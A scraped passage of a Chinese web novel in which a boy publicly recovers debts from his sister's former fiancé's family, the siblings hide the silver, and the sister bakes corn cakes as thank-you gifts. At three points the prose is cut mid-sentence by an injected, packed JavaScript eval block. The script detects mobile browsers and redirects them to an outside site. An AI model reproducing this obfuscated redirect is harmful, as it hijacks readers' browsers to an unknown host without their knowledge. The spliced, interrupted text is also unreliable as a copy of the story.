苗桂枝没好气地瞪了他一眼:“她为什么不说,不就是没证据吗?现在不说,醒来再说也没用。” 说到这里,她眼里掠过一丝狠厉,低声道:“既然如此,就别怪我不客气了。” 陈文彦一凛:“娘,您……想做什么?” 苗桂枝瞧他一眼,沉声道:“明天你别说话了,都交给我。” 次日一大早,老沈头和葛三娘应唐睦之托,三人一同前往陈家,打算算清旧账、了结亲事。 没成想,苗桂枝这次连院门都不让进。 一开口,便拉高了嗓门,声音嚷得半个巷子的人都能听见。 “退亲不是两家早就说好的事吗?现在又说是我家亏了他家?哪有这样的道理!” 这冷不丁的说辞,出乎所有人意料,街巷里暗自关注的人都愣住了,老沈头和葛三娘也是一怔,就连在旁观望的陈文彦都不免呆了呆。 唐睦虽说早有准备,知道此行不易,还是被苗桂枝的倒打一耙砸得头晕眼花。 “什么早就说好了?谁跟你说过?什么时候说的?凭什么说是说好了?” 一连串质问,但没有让苗桂枝感到心虚,反倒是嘴角一扯,双手叉腰,尖刻地扬声:“自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901869|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是跟你阿姊说好了,我还能唬你不成?不信,你问你阿姊去!” “胡说八道!我阿姊还没醒,上哪儿跟你说去!”唐睦气不打一处来。 “没醒?”苗桂枝拉长尾音,撇撇嘴道,“那就等她醒了再说呗。” 她这模样,竟是摆明了不怕唐宛醒来,也不怕唐宛说出什么的态度,不仅唐睦惊讶,就连陈文彦都有点摸不着头脑。 苗桂枝这话说得太笃定,四下看热闹的人一时竟然真的被带偏了,开始议论起来,不清楚唐宛是不是真的跟他们约好了退亲。 准备为双方做见证的老沈头和葛三娘面面相觑,虽然心知肯定没这回事,一时间也被噎得说不出什么。 苗桂枝见状更是得意洋洋,阴阳怪气地开口:“你们口口声声说我们毁约,可我家跟周家的婚事八字还没一撇,倒是唐宛,那么多双眼睛看着,浑身湿淋淋的,被陆家那小子抱着送回家的。这么不检点的姑娘,就是没有周家的事,我们也不要。” 一席话顿时惹了众怒。 老沈头气得举起了旱烟:“放屁!人命关天,铮哥儿见义勇为,这么冷的天下水救人,行得是光明磊落之事,竟被你说成苟且?他若是真有那等龌龊心思,怎会大张旗鼓把人抬回来?” 葛三娘也厉声开口:“今日我算是见识了,什么叫颠倒黑白!什么八字没一撇?我呸!要不是你俩家谈妥了,陈文彦这个怂包何德何能,能升上小旗?倒是宛娘,一个清清白白的姑娘,被你这张脏嘴上下皮子碰一碰,竟平白被栽赃!” 苗桂枝被人指着鼻子骂,却丝毫不虚,冷哼一声:“横竖已经告诉你们,我们两家早就退了婚事,现在两不相干,想再讹我们,没门!” 她这没理也要搅三分的态度还真挺唬人,悄声议论的街坊还真有几个信了的。 一旁的陈文彦,本因为害怕实情败露而惴惴不安,见亲娘一顿连珠炮般抢白,局面反倒微妙一转,意外之余,心里慢慢涌起一丝说不出的得意。 他不禁开始联想,娘亲说得果然有道理。 这下子就算唐宛醒了,也得先解释婚约的事情,要是她坚持说自己推她下水,完全可以说她心有怨气,随口编排。 果然这世道,就全靠一张嘴。 谁的嗓门大,哪怕没理也能占上三分! 唐睦毕竟年纪尚小,从没见过如此厚颜无耻之人,一时气得头脑空白了片刻,好半晌才想起阿姊昨晚的叮嘱。 姐弟俩昨晚分析过,认为陈文彦极可能根本没将婚约之事如实告知周家。按理说以周家那样的家世和豪横的做派,跟陈家结亲完全是下嫁,没道理如此容忍迁就。 为此阿姊曾经试探过,陈文彦的态度叫她有七八分笃定,认为周家根本不知道陈文彦原本有一桩婚约在身的。 榆树巷子不大,左邻右舍的事彼此都一清二楚,可周百户家在邻县,婚事也尚未正式操办,若一时摸不清男方家底,也属情理之中。 想到这里,唐睦冷笑一声,陡然扬声开口:“既如此,沈爷爷、葛婶子,劳烦你们陪我走一趟肃北大营。” “陈家如此不要脸面,颠倒是非、欺人太甚,我倒想去问问周百户,这桩事是不是他们授意的!” 此话一出,苗桂枝面色骤变,陈文彦甚至险些没站稳,脸色煞白。 老沈头斜睨了母子二人一眼,一看两人的模样就知道他们心里有鬼,心中已然有数,生出几分鄙夷,淡淡应道: “说起来,周百户我也见过几次,打过几次交道,能说得上几句话。既是为个理儿,我老汉也要陪你去。” 葛三娘自然也不推拒。 眼见三人扭头要走,苗桂枝再也撑不住虚架子,嗓音都有些抖:“慢着……” 5. 银钱两清 苗桂枝果然担心闹到周家去,脸色变得十分难看,她倒是想再犟嘴几句,终究还是怕闹太僵,话到嘴边却又咽了回去。 最后只能扯了扯嘴角:“不是要算账吗?那就算算清楚吧!” 老沈头和葛三娘对视一眼,眼中都有几分讽意,还是看向唐睦。 唐睦唇角一勾,冷冷笑了声:“既如此,就劳烦沈爷爷、葛婶子和各位街坊了,帮我们做个见证。” 他也不进陈家院子,就在门外,当着众街坊邻居的面,一条一条大声把跟阿姊商议过的账目背出来。 “元和初年,大雪封路,北境粮价疯涨。那年我们都艰难,你们陈家米缸里一粒粮食都没了,是我祖父花高价从粮店买了两袋粮,分了一袋给你们——那一袋米,值二百文。” 苗桂枝忍不住想辩驳。 毕竟平日那袋米才五十文,二百文,那不是抢钱吗? 可在众目睽睽之下,到底没敢张嘴。毕竟当年价高,老唐头应该就是花二百文买下的。 唐睦不是没看见她欲言又止的样子,心里越发觉得阿姊的计划没错。 陈文彦杀人合该偿命,可就算真把人送去官府,顶多也不过一命抵一命,更何况阿姊如今并无大碍。若是陈家人肯花些钱粮上下打点,闹到最后,多半也只是不了了之。 与其如此,不如用他们自己的法子来解决。 而让对方付出代价之前,还是先把这些年白拿去的东西讨回来,顺便让街坊们彻底看清这对母子俩的嘴脸。 他眼神微冷,继续道:“元和三年,苗婶子你染了时疫,烧得浑身滚烫,人事不醒。陈大哥在军中不便照料,是我祖父请的大夫,给你用的药是最好的,阿姊那几天没合过眼,天天为你熬药换帕……当时的药钱五百文,给大夫的诊金一百文。” 那年染了时疫可不止她一户,不少街坊的亲人送了命,大家都印象深刻。唐睦报出来的数,真真只算了药和诊金,没多要一文钱。 苗桂枝就算想反驳,都根本找不到由头。 而唐睦还在继续:“再有,这些年春耕,你家年年总说无钱无粮,两家军田的种子、农具、耕牛照例都是我家一道出的。两家都是三十亩地,连着六年的花销三十两,你们该出一半,便是十五两。” 十五两这个数一出,苗桂枝胸口一阵滞闷,脸色一下白了,再忍不住尖叫起来:“十五两!你怎不去抢?” 唐睦面无表情,看向老沈头等人,恭声问道:“沈爷爷,您老觉得,这账可有不对?” 老沈头冷冷瞥了苗桂枝一眼,淡淡哼声:“只少不多。苗氏,你要是觉得不妥,就把这几年的花销一笔笔摊开算。咱们榆树巷里军田佃出去种的不在少数,家家户户都有账本,大家伙儿对照着来算算,不是什么难事。” 苗桂枝听到这话,心里一慌,正想说什么,唐睦便笑了声,道:“既如此,就摊开来算算吧。” 唐睦来时做足了准备,自家的账本就带在身上,说完便掏出来,翻开便将历年来春耕一项的支出一一念出来,种子花钱几何,租耕牛用粮几何,合计银钱几何,一样一样清清楚楚。 他报得不紧不慢,账本一页页翻,看热闹的邻居跟着点头,都说无误。 算到最后,账面明明白白,六年合起来足足三十七两六钱。 老沈头手指头掰了掰,扭头看向苗桂枝:“这么算下来,两家平摊,你陈家该出十八两八钱。” 苗桂枝后悔不迭,算个账两炷香的功夫就多出三两八?她连忙说:“按原先说好的,十五两就行!” 唐睦冷冷挑眉:“婶子,咱们还是按照明细来吧,免得日后说不清。” 说完继续翻账本,挑拣着又说了几个支出,有陈文彦从军时打点上官的花销,又有冬日囤菜买炭跟他家暂借的银钱,加加减减三十三两八钱。 这会子邻居哪里还听不出? 唐家这孩子分明给留了余地,原本是想凑个整数三十两,偏偏苗桂枝自己要作妖,才多出个零头。 苗桂枝一听这个数字,当即脚下一软,连站都站不稳了。 她这些年能跟唐家要得到的,自己绝对不出钱,儿子的饷银、平日零碎的进项全都死死攥在手里,还真叫她给存出了三十两银,可这也已经是他家全部的积蓄了。 眼下要她全数吐出来,不是要了她的命吗? 苗桂枝原本还想在具体账目上赖账,找由头混过去,可唐睦说得桩桩件件,每个条目都有人证,左邻右舍有目共睹的。日常琐碎周济他竟然一件都没提,单单拣那些救命的、大头的来说道,叫她再想抵赖也赖不掉。 旁人的眼光,苗桂枝平日里一向不放在心上,可今天不同,四下街坊看向他们母子俩的鄙夷,像刀子似的剜在背后,戳得她脊梁骨发凉。 陈文彦也在这样的目光中无法遁形,只觉得浑身上下都被人扒得干干净净。 他心里清楚,这些年家里吃穿住行都靠唐家,自家开销非常小,而他娘平时也挺会搜刮钱的,按理说这个钱不是拿不出来。 陈文彦生怕搞砸了自己前程,连忙抢在母亲前头开口:“该给的就给,这钱……我们认了!” 苗桂枝被儿子的傻大方气得眼前一黑。 但一边是唐睦不给钱就去周家的无声威胁,一边是儿子心虚求救的目光,苗桂枝再舍不得,也只能咬着后槽牙,把这口气往肚里咽。 她忍着头晕目眩转身回屋,从柜子里找出藏钱的瓦瓮。 里头零零散散的碎银子和铜板,都是她这些年省吃俭用的存下来的。 “我的钱……”苗桂枝手指都在发抖,让她把这些钱都给唐家,那不如让她去死。 苗桂枝的心都在滴血,守着这瓮银子,迟迟不肯出去。 外头陈文彦被催得熬不住,只得自己进屋,看着母亲对着瓦瓮流泪不舍,心里也颇不是滋味,低声说:“娘,这些先给他们。等我娶了周家娘子,再怕挣不回来?眼下周家才是最重要的!” 周家! 是的,周家! 苗桂枝心神一振。 唐家如今已经没救了,唐老头死了,留下两个不顶事的孩子,今年春耕的钱不仅要不到,差点还要倒贴。可周家不一样,周家不止有钱,还军中还很有势力,这不还没正经议婚事,就先给儿子升了小旗。 想到这个,苗桂枝也不伤心了,抹了把眼泪:“是的,周家才是要紧的。” “去,把这些钱都给他们,但有个条件,叫他们不要胡说八道,别让周家人觉察了。”苗桂枝纵使心中千百般不舍,还是咬着牙,闭眼将存银的瓦瓮往儿子手里一塞。 “真是些没良心的讨债鬼,烂了心肠的,怎么就没一起淹死了!” 陈文彦听了心里一震,连忙让她噤声,苗桂枝也自觉说错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901870|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,抿了抿嘴。陈文彦接了瓦罐,也不多看,大步往院外走去。 外头,唐睦接过瓦瓮,当着众街坊的面,找来银秤仔仔细细地称了。 “三十三两八钱。” 所有的碎银加起来,竟然将将好三十三两五钱。他又在那瓦瓮里数了三百个铜板,清点完毕,瓦瓮里竟还剩了不少铜板。 街坊们见陈家竟能拿出这一大瓮银子,不免都惊得目瞪口呆。 “这陈家母子见天哭穷,竟然有这么多家底?” “你们没听见吗?这么些年,吃的用的,全是唐家出钱,他们可不得攥些出来?” “看不出,陈文彦这小子长得人高马大,吃起软饭来一点不客气。” “唐家还是很厚道的……” 人群里窃窃私语声一阵高过一阵,陈文彦听得脸皮发烧,却不敢多说什么,只对唐睦低声道:“睦哥儿,事已至此,咱们两家,就两清了吧?” 唐睦淡淡瞥他一眼,伸手从怀里掏出一张纸,展开给众人看:“这是我阿姊与陈大哥的婚书。如今两家银钱算清,从此两不相欠,这桩婚事也作废。” 说完,他将婚书撕成碎屑,一阵风吹来,纸屑飘散。 他抬眼看向陈文彦:“陈大哥,你家的那份,也请拿出来,当着大伙撕了吧。” 陈文彦望着那些被吹散的纸屑,不知怎的,心中涌现某种不安。 他抿了抿唇,看了眼周围看热闹的人,扯出个勉强的笑:“……稍等。” 说完转身进屋,把藏在箱底的那张婚书翻了出来。 军户结亲,按理该报备上官,可他和唐宛年纪未到,只是先立了婚书,原本打算等正式结亲的时候再去官里登册。如今婚书一撕,往后两家再无牵连。 陈文彦低头看着手里的婚书,想起这些年,无论大事小事都习惯往唐家去,唐爷爷能给银钱上的帮助,宛娘则总能让他宽心,就连唐睦小小年纪,也十分稳重,凡事都能商量几句。 他们一家人的存在,常常让陈文彦觉得,不论遇到什么事,都能有条后路。 可现在,这条后路,却被他亲手斩断了。 不过,如今唐爷爷已经死了,这对姐弟对自己又能有什么助益呢?难道就为了心中那点不舍,连自己的前程都不要了吗? 想到这,陈文彦深吸一口气,拿起婚书,大步走出去,交到唐睦手里。 唐睦接过去展开一看,确定是婚书无误,便随手一撕,碎纸如雪,随风卷到天际。 苗桂枝跟着出来,见状尖刻一笑:“从今往后,我们陈家跟你们唐家再无瓜葛,老死不相往来。” 唐睦冷冷看了她一眼,并不搭理,转身朝看热闹的街坊们深深作了一揖:“今日多谢各位叔伯婶娘做见证,等我阿姊醒了,必登门道谢。” 他说着,又看向老沈头和葛三娘,诚恳道:“谢谢沈爷爷,谢谢葛婶子。” 老沈头叹了口气,拍了拍他肩膀,语气里带着几分复杂:“回去照顾你阿姊吧!” 唐睦年纪小,但这事儿办得周全。既要回了一些损失,又没有把事情做绝,行事相当有风度。反观陈家这母子俩,真是太不地道了,真真叫人心寒。 老沈头跟周百户年轻时有些交情,但毕竟不是很熟,不好干涉他人家事,只隐隐为对方感到难堪。 肃北营里那么多好男儿,怎么偏偏看中了这家。 6. 买好吃的 唐睦出来时带了一个小小的布口袋,三十多两碎银子和三百个铜板都装在里面,揣在怀里鼓鼓囊囊,沉甸甸的。 老沈头和葛三娘陪他往家走,一边走一边叮嘱:“这钱好不容易要回来的,你们姐弟俩可得收好了,别大手大脚的,省得被人惦记。” 唐睦连声答应,表面看着冷静,其实脚步都有些虚浮,总觉得有点不大真实。 他长这么大,还是第一次见到这么多银子。 到了唐家,老沈头和葛三娘没再多留,拍了拍他的肩叮嘱:“好生照应你阿姊。” 之后便各自回家去了。 唐睦等两位长辈走远了,小心翼翼地关上院门,插上门栓,进了里屋,又把门帘放下,扒在床头小声喊唐宛:“阿姊,你醒着吗?” 唐宛半睡半醒,听到声音睁开眼睛,瞧着他这幅紧张兮兮的模样,心里已猜到几分,问:“怎么样,钱要回来了吗?” 唐睦用力点点头,把怀里的布口袋掏出来,献宝一样给她看。 唐宛见了微微一愣,问:“这是多少?” “三十三两八钱。”唐睦语气还有些紧张,“其中三钱是铜板,其他都是散碎银子。” 唐宛朝外头瞧了瞧,确定门窗都关得严严实实,才从被子里起身,一骨碌坐起来,把口袋打开来一看。 三十多两的碎银子零零碎碎的,有大有小,应该是从不同的银锭上绞下来的,大大小小形状并不规则,加起来有三五十个,粗略掂了掂得有两斤多。三百个铜板有新有旧,比现代的一元硬币稍大一点,上头刻着“元和通宝”四个字,堆在一起颇为壮观。 唐宛习惯了电子支付,已经很久没摸过现金了,对这个时代的钱币更没什么概念,没料到三十多两的银子竟然这么一大包。 “这么多啊……”她忍不住笑了起来。 唐睦跟她差不多的想法,也笑了。但随即咽了咽口水,干巴巴地说:“这么多……藏哪儿好?” 唐宛忍着笑,问他:“陈家是怎么藏的?” 唐睦道:“我只看到陈文彦拿出一个瓦瓮,不知道放哪儿的。” 以前两家关系好的时候,唐睦时常去陈家走动,他从来都不知道陈家有这么一个瓦瓮,里头竟然藏着这么多钱。 这么有钱的人家,天天哭穷找他们打秋风,怎么想的? 唐睦一想到以前宁愿自己饿着也要给陈家母子俩省点吃的,就觉得自己好傻,越发觉得阿姊让把钱要回来这一步简直太对了! 唐宛便道:“那咱们也用瓦瓮装着。” 唐睦闻言立即在屋内转悠起来,嘴里嘟囔着:“我记得咱家以前有一个,不知道放哪儿了。” “别急,你先给我说说今天的情况。”唐宛伸手拉住他。 唐睦于是把在陈家院口对账、苗桂枝试图扯皮、他又当众把账目一条条念出来的经过细细说了遍,唐宛听完狠狠地夸了他一阵:“太棒了!睦哥儿做得好,你如今长大了,是咱家的顶梁柱了。” 唐睦脸一下子红了,耳朵尖都发烫,但心里确实高兴。 他没想到,自己竟然真的能要回这么多钱,家里的情况一下子就没那么艰难了。 他憨憨地挠了挠耳朵,低声道:“都是阿姊教得好……” 开心之余,姐弟俩难免都有点担心。 这些钱是当着那么多街坊的面拿回来的。虽说都是知根知底的邻居,可毕竟这笔钱不是小数,人心隔肚皮,难说有人起歹心。 家里两个半大孩子,难说能不能守住。 唐宛想了想,道:“沈爷爷和葛婶子这次帮我们不少,还有陆二哥救了我的命,现在咱们有钱了,先给他们送些谢礼吧。” 她想着,街坊邻居关系还是得处好了,这样才能守望相助,以后遇到事情,别人也更愿意照应一二。 唐睦忙不迭点头:“不过,我们送点什么好?” 唐宛问:“以往这种情况,咱家都是怎么办的?” 唐睦思忖了一会儿,说:“阿爷在时,多半会买一些吃食送去,去集市徐屠户家称些肉,搭些饼子馒头什么的。” 唐宛便道:“那我们也这么办。” 不过这次不比平时的人情往来,尤其是陆铮那边,可是要紧的救命之恩。寻常的吃食似乎不足以表达他们的谢意,但要是买多贵的东西,一是不知道买些什么合适,再者也不敢多花。 三十多两银子看着挺多,可眼看着春耕在即样样都要花钱,家里又没有更多的进项,还是得计算着用。 姐弟俩商议了半晌,唐宛最后拍板:“要不这样吧,咱们明儿去集市上转转,看着买点什么回来,我来做,做出来的东西比买的更好吃,也显得咱们有心。” 唐睦听她这么说,张了张嘴,欲言又止。 阿姊的厨艺…… 说真的,其实有点一言难尽,以往家中多半是阿爷和他来做饭。 不过,他最终还是没说什么,不想让阿姊失落。 没关系,横竖等把东西都买回来时,他多帮衬一下就是了。 当天,唐睦又去请了一趟吴大夫过来,说是要他再给唐宛看看,其实就是为了告诉外头,他的阿姊总算是醒了。 吴大夫给唐宛号了脉,见她脸色虽还带着几分苍白虚弱,但到底能起身说话了,便叮嘱了几句“好好吃饭、好好休养”,也算是替姐弟俩松了口气。 这么一来,唐宛的“好转”算是过了明路,总算可以起来正常活动了。 她借口走动一下舒筋活络,把这一进不大的院子前前后后都看了一遍,顺便盘了盘家底。 唐爷爷是青州人,年轻的时候就到北境来从军,因为老家没有其他的亲人,一辈子都没再回过故乡。 这套房子是他从军后分到的,面积不大,前前后后加起来可能都不到一百平。 面积小,胜在户型方正。前面是个小院子,院门正对堂屋,东西各有一个小房间,屋后是也是一个小院子,拐出去是茅房,院子里搭了一个棚子堆放杂物。 小时候姐弟俩住西间,唐爷爷住东间,唐睦七岁之后,开始跟爷爷住在东间,原主一个人住西间。 没有正式的厨房,就在前院搭了个灶台,北境天寒,灶台通了地龙连接两个房间的土炕,冬天可以取暖,最近天气转暖,已经不需要烧炕。 前院还有一口井,家里吃的用的都用这口井里的水。 唐睦从后院的杂物间里翻出了一个瓦瓮,刷干净了,把那些钱都放进去,足足装了大半个罐子。 装好之后他就满屋子打转,嘀嘀咕咕不知道应该藏到哪里去。 唐宛给他出了个主意:“你把三两八放在身边,用作今年春耕的钱和平时的花用。另外三十两放在这瓦瓮里,找到地儿挖坑埋了,以后要用时再挖开。” 唐睦眼睛一亮,觉得这可真是个好主意! 他于是找出了铁锹,跑到后院枣树底下,刨了个挺深的坑,把瓦瓮放下去,仔细填了土踩实,还撒了些浮灰在上头做掩饰。 这下子除了姐弟俩,旁人都不知道钱在哪里了。 余下的三两碎银和铜钱,跟之前陈文彦给了剩下的一起,放在钱袋子里装好,交给了唐宛。 “阿姊,这些你收着吧。” 唐宛犹豫了下,想了想,还是接了过来。 横竖两人不能坐吃山空,她想挣更多的钱,总得有些本钱在手里。 这天晚上,姐弟俩都没怎么睡好。 唐宛是因为这两天在炕上躺太久,有点睡不着,难免想起在现代的生活,不过她清楚自己肯定是回不去了,干脆不再想,慢慢地开始思考接下来要怎么生活。 唐睦则是太兴奋了,翻来覆去睡不着。 他想着,等春耕的事情安排好,紧接着就是清明节了,到时候他要跟阿姊一起去阿爷的坟头去看看,顺便告诉他家里发生的事情。 陈家人原来这么坏,阿爷竟然看走眼了。不过好在事情最终没有变得太糟糕。 只是,阿姊的婚事还是告吹了,以后阿姊怎么办呢? 不嫁陈文彦是件好事,那阿姊以后会嫁给谁?不管阿姊要跟谁成亲,这次他可得睁大眼睛仔细看着,不能再让阿姊受到伤害! 唐睦迷迷糊糊地想着,终于陷入了黑沉沉的梦乡。 …… 隔天一早,姐弟两个简单收拾洗漱后,各自喝了点碴子粥,便插好门出发去集市。 其实唐宛这几天吃得不是很习惯,准确地说,相当不习惯。 除了那醒来天吃的半碗鸡蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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另外又买了半袋新磨的玉米面,磨得很细,黄澄澄的看着就新鲜,闻起来一股玉米的清甜。 当然最紧要是买了几斤麦粉,北境大米少见,这才是以后的主食。 转头去隔壁摊位称了半斤红糖,又挑了二十个新鲜鸡蛋。 最后转到徐屠户的肉摊前,摊子上半扇猪肉被卖了一小半,看得出肉质正新鲜,纹理又漂亮。 唐宛与唐睦商量,打算老沈头和葛三娘两家各送三斤,陆家送五斤,便让徐屠户切三条漂亮的五花肉。 这时代买肉人们更喜好带点儿肥的,回家炼出猪油来可以炒菜吃。 屠户正拿刀切肉,见她眼神在旁边的猪肺上扫了两眼,立刻热情道:“这幅肺子才拿来没多久,娘子要不要?我给你算便宜点。” “给我吧。”唐宛没什么迟疑地开口。 唐睦在一旁看着,心里默默计算,不禁有点心慌。 这钱花得也太快了! 不过,一想到这次要不是沈爷爷和葛婶子帮着撑腰,他很可能没那么顺利要到钱,也就坦然了。 对于陆铮的感谢更是真心实意的,要不是他,阿姊怕是连命都没了。 这么一想,心头那点心疼立马就抛开了,反倒还担心有没有到位,小声问:“这些够吗?” 唐宛把草绳系好的猪肉放在背篓里,仔细调整了一下鸡蛋的位置,闻言笑了笑:“都是街坊邻居,不在这一回送多送少。以后咱家有什么好吃的,多送一些给他们就是了。” 唐睦想想也对,便不再作声。 这一路采买下来,零零碎碎加起来花了近六百文! 背篓被塞得满满当当,回去路上,唐睦抢着背上试了试,感觉比抱那瓦瓮沉多了,可心里却觉得格外踏实。 等姐弟俩拐进榆树巷时,天光已大亮,不少街坊瞧见他们,便问:“宛娘醒了,好些了吗?” 唐宛落落大方地说回应,说谢谢他们的关心。 等姐弟俩前脚刚走过,后脚街坊们就在背后嘀咕开了。昨天唐睦跟陈家清算,竟然讨回了三十三两银的事情,可真是稀奇。 这两天榆树巷子家家户户都在聊这事。 巷口苗桂枝一脚刚要踏出门,远远瞅见唐宛好端端跟人打招呼,顿时气得胸口闷疼。 果然,这死丫头是在装样子,这不刚拿到了钱就醒过来了。 苗桂枝目不转睛地盯着唐宛的背篓,三月的早晨风都是凉飕飕的,这丫头的额头上竟冒出细密的汗。 也不知道用她的钱买了什么好东西,竟这么沉! 7. 才十五岁 等到了家,姐弟俩洗了手,就开始忙活起来。 唐睦原想着自己多做些,等挽好了袖子,却见他阿姊那边已经和上面了。 北境习惯吃面食,家家户户都有和面的陶盆。唐宛将陶盆洗干净用棉布擦干了,把新买的玉米面、玉米碴子和麦粉按照一定的比例倒进去,撒了点盐,用筷子拌匀了。 见唐睦过来,她很自然地嘱咐:“先烧点水。” 唐睦于是乖乖地去灶下生火。 唐宛当然更习惯现代化的厨房灶台,不过对于这种土灶的用法并不陌生。她以前是美食主播,在流量内卷的时代,为了爆火什么方法都尝试过,有段时间她还专门去农村租了个小院,用过一阵子土灶。 唐宛舀了点水,将铁锅快速地清洗了一遍,烧了小半锅热水。 烙玉米饼不用发酵,少量多次的加入热水烫面,一点点和成面团。 唐睦在灶下看着,不免有些意外。 他觉得今天阿姊做事格外有章法,她速度并不很快,却没有一个多余的动作,面烫好了,似乎只是很随意地按一按,揉一揉,一个光滑的面团就在盆中成型。 随即面团被转移到案板上,唐宛熟练地搓一搓,揪一揪,一个个大小适中的面剂子整齐地排列出来。 锅里留了一点水,唐宛拿了竹篦子搁在上头,将面剂子搓圆后以掌心压扁,做成巴掌大小的饼胚,沿着锅边一圈一圈贴上去。 小火慢烙,饼子随着时间沁出香味,饼身微微膨胀,唐宛又给这些饼翻了个面儿,翻出来的这半边被烙出了一层漂亮的焦黄脆壳。 等到两面都烙出了金黄色,饼子也熟了,院内飘出一股烙饼特有的甜香,散发着浓郁的玉米香气。 唐睦原在灶下坐着,不知什么时候站到了锅边,愣愣地看着这些饼子的变化。 唐宛不怕烫似的,快速地把这些烙好的饼全都拿出来,扔进了旁边的竹匾里晾凉。 “要不要尝尝?”她拿了一个饼,撕成两半,递出一半给唐睦。 唐睦接了过来,忍不住闻了一下:“好香!” 刚撕开的饼子热气腾腾,有点儿烫手,但唐睦舍不得丢开,试探着咬了一口。 外面的壳子焦脆焦脆的,里面却蓬松暄软,吃起来香香甜甜,特别好吃! “阿姊,你今天怎么做得这么好?”唐睦在姐姐面前,心里不存事儿,想到什么说什么。 唐宛愣了一下,这才意识到,原主似乎不通厨艺。 她笑着说:“熟能生巧吧,毕竟以前做得也不少。” 以前阿姊确实也做过不少次饼,可看着却没有今天的游刃有余,要不手忙脚乱,要不饼胚大大小小做得乱七八糟。不过这会儿唐睦已经被玉米饼的香甜吸引了大半注意力,闻言也没有多想,只点了点头,说:“太好吃了,原来碴子饼这么好吃!” “这可不是碴子饼,毕竟才放了那么点儿碴子。” 唐睦想想也是,以前家里习惯了俭省,哪里舍得放这么多精面?碴子饼本来就不好做,加了精面变简单一点了吧? 这么一想又想起陈家,哼了声:“阿姊,一想到以后再也不用为了陈家人省吃俭用,我竟然觉得很痛快!” 唐宛笑着应道:“这么说,他们选择退亲,还是做了一桩好事呢。” 唐睦却笑不出来,犯愁道:“那阿姊的婚事怎么办?” 北境军户多,文人少,比起别处没那么多繁文缛节,女子改嫁也是常有的事儿,但再怎么说,被退了婚,名声总不大好听,再议亲时总要吃些暗亏。 唐宛却不担心这个:“我才十五岁,急什么?” 唐睦却道:“怎能不急?等再过两年,就得官府来配婚,那时要你嫁谁就嫁谁,没得选了。” 唐宛愣住了。 仔细一想,还真有这回事。 大雍朝是历经了十多年的战乱才安稳下来建立的新朝。长久的战事让国家的人口锐减,为了提升生育率,国家制定了比较严格的婚姻法令。 女子十七不嫁,男子二十不娶,其父母有罪。 唐宛虽然没有父母,但倘若到了十七还不成婚,就会被官府强制婚配。 上辈子母胎单身到奔三年纪的她:…… 好在唐宛不是什么坚定的独身主义者,上辈子没谈纯粹是因为太忙了,而且也没有合适的对象。 不过她本来没打算这么早结婚的,十五六岁的年纪,在她的观念里,不还是中学生吗? 现在竟然要把这事儿提上日程了。 可毕竟还有两年时间,倒也不必急在一时。 唐宛把手里半块饼吃了,心已经宽下来,对唐睦说:“把剩下的饼一起烙了吧!” 这次唐睦一起帮忙,不过为了把饼子做得跟阿姊的一样好,大小厚薄都差不多,他的速度就没那么快,总感觉自己做了没几个,这些饼子就都整整齐齐地放进锅里了。 因为要送人,得多做些,唐宛又和了一次面。 两盆面一共做了四十来个饼。 要送礼的沈家、葛家和陆家,一家数了十个,整整齐齐摞在三个大碗里,放进竹篮。再把买来的三刀五花肉放进去,用干净的棉布盖好,不掀开看不出里头装着什么。 剩下十来个留着家里吃。 这些饼没有放油,加上早春气温低,应该能放几天。 “走吧,我们给沈爷爷和葛婶子他们送去。” “好!” 葛三娘家离得近,就在唐家的西边,两家只隔着一道院墙。 唐宛和唐睦先在门口喊了声,没一会儿院里响起脚步声,葛三娘掀开门帘出来,见着姐弟俩,先笑了:“你们姐儿俩怎么过来了?” 说着把两人往屋里引,看向唐宛关切道:“快来坐。宛娘身子好些了吗?前几天真吓人,我都替你们捏了把汗。” “多谢婶子关心,我都好了。”唐宛顺势坐下,笑着说:“早前的事我听唐睦说了,多亏婶子和沈爷爷帮衬,这不我们今天做了些饼子,送些给您和瑞哥哥尝尝。” 陈瑞是葛三娘的儿子,今年刚十六,才袭了军户,平时里不怎么在家都在大营里,葛三娘偶尔会托人给他送点吃的。 一听她来送东西,葛三娘连连摆手:“都是邻里,说这个干啥。你们俩孩子不容易,好不容易把钱讨回来,该攒的攒着,可不能乱花。” 唐宛笑着:“婶子放心,我们不乱花。只是,好些时候没吃顿饱饭了,今儿就做得多了点儿。” 葛三娘听她这话,心里一阵发酸。 就隔壁住着,老唐头生病到过世这段时间,这俩孩子是怎么熬过来的,她最清楚不过。 唐宛说着,让唐睦把篮子拿过来。她揭开篮子上的盖布,把里头还冒着热气的饼子拿出一碗来,又拿出一条三斤的五花肉。 葛三娘眼皮子一跳:“你这孩子,这是做什么?” 唐宛把东西往桌上搁,笑道:“要不是您跟沈爷爷在后头镇着,睦哥儿哪能那么顺利要回钱来,这是我们的一点心意。” 葛三娘一开始说什么也不肯收,见唐宛真心要给,也就不再推,感叹着接了:“难得你们有这份心,婶子就厚颜收下了。以后有什么事就喊一声,婶子没什么大本事,能给你们搭把手的肯定没二话!” 唐宛连声道谢,起身道:“那婶子您忙着,我们还得去趟沈爷爷家里。” 葛三娘目送着姐弟俩出了院门,心里忍不住有些感慨。 